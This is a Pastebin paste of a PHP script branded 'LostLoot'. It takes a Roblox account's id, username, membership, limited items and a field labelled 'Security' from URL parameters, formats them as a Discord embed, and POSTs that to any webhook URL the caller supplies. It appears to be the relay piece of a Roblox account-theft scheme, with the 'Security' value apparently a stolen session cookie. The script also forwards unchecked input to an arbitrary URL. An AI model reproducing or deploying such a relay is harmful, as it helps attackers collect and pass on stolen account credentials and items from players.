Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $hookObject = json_encode([
- /*
- * The general "message" shown above your embeds
- */
- "content" => "",
- /*
- * The username shown in the message
- */
- "username" => "LostLoot",
- /*
- * The image location for the senders image
- */
- "avatar_url" => "https://cdn.discordapp.com/attachments/584789725483761921/589289307789852673/LostLoot.jpg",
- /*
- * Whether or not to read the message in Text-to-speech
- */
- "tts" => false,
- /*
- * File contents to send to upload a file
- */
- // "file" => "",
- /*
- * An array of Embeds
- */
- "embeds" => [
- /*
- * Our first embed
- */
- [
- // Set the title for your embed
- "title" => "View Profile Here",
- // The type of your embed, will ALWAYS be "rich"
- "type" => "rich",
- // A description for your embed
- "description" => "",
- // The URL of where your title will be a link to
- "url" => "https://www.roblox.com/users/".$_GET["id"]."/profile",
- /* A timestamp to be displayed below the embed, IE for when an an article was posted
- * This must be formatted as ISO8601
- */
- //"timestamp" => "",
- // The integer color to be used on the left side of the embed
- "color" => hexdec( "FFFFFF" ),
- // Footer object
- "footer" => [
- "text" => "LostLoot | Vincent's",
- "icon_url" => "https://cdn.discordapp.com/attachments/584789725483761921/589289307789852673/LostLoot.jpg"
- ],
- // Image object
- "image" => [
- "url" => ""
- ],
- // Thumbnail object
- "thumbnail" => [
- "url" => "https://www.roblox.com/Thumbs/Avatar.ashx?x=100&y=100&userId=".$_GET["id"]
- ],
- // Author object
- "author" => [
- "name" => "Join Discord Server",
- "url" => "https://discord.gg/6W3PZRJ"
- ],
- // Field array of objects
- "fields" => [
- // Field 1
- [
- "name" => "Username",
- "value" => $_GET["user"],
- "inline" => true
- ],
- // Field 2
- [
- "name" => "Membership",
- "value" => $_GET["mem"],
- "inline" => true
- ],
- // Field 3
- [
- "name" => "Account Info",
- "value" => $_GET["age"],
- "inline" => true
- ],
- [
- "name" => "Limiteds",
- "value" => $_GET["limit"],
- "inline" => true
- ],
- [
- "name" => "Game",
- "value" => $_GET["game"],
- "inline" => true
- ],
- [
- "name" => "Security",
- "value" => $_GET["sec"],
- "inline" => true
- ]
- ]
- ]
- ]
- ], JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE );
- $ch = curl_init();
- curl_setopt_array( $ch, [
- CURLOPT_URL => $_GET["w"],
- CURLOPT_POST => true,
- CURLOPT_POSTFIELDS => $hookObject,
- CURLOPT_HTTPHEADER => [
- "Length" => strlen( $hookObject ),
- "Content-Type" => "application/json"
- ]
- ]);
- $response = curl_exec( $ch );
- curl_close( $ch );
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement